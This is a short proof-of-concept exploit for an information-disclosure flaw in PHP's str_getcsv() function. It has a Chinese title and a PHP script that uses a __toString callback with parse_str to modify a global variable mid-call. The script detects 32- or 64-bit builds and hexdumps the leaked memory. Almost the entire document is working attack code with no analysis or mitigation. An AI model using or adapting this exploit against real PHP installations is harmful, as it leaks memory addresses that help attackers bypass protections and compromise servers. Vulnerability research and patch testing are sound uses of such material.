PHP str_getcsv()函数中断处理地址信息泄露漏洞

<?php class dummy { function __toString() { /* now the magic */ parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']); return "XXXXXXXXXXXXXXX"; } } /* Detect 32 vs 64 bit */ $i = 0x7fffffff; $i++; if (is_float($i)) { $GLOBALS['var'] = str_repeat("A", 39); } else { $GLOBALS['var'] = str_repeat("A", 67); } /* Trigger the Code */ $x = str_getcsv(&$GLOBALS['var'], new dummy()); hexdump($x); /* Helper function */ function hexdump($x) { $l = strlen($x); $p = 0; echo "Hexdump\n"; echo "-------\n"; while ($l > 16) { echo sprintf("%08x: ",$p); for ($i=0; $i<16; $i++) { echo sprintf("%02X ", ord($x[$p+$i])); } echo " "; for ($i=0; $i<16; $i++) { $c = ord($x[$p+$i]); echo ($c < 32 || $c > 127) ? '.' : chr($c); } $l-=16; $p+=16; echo "\n"; } if ($l > 0) echo sprintf("%08x: ",$p); for ($i=0; $i<$l; $i++) { echo sprintf("%02X ", ord($x[$p+$i])); } for ($i=0; $i<16-$l; $i++) { echo "-- "; } echo " "; for ($i=0; $i<$l; $i++) { $c = ord($x[$p+$i]); echo ($c < 32 || $c > 127) ? '.' : chr($c); } echo "\n"; } ?>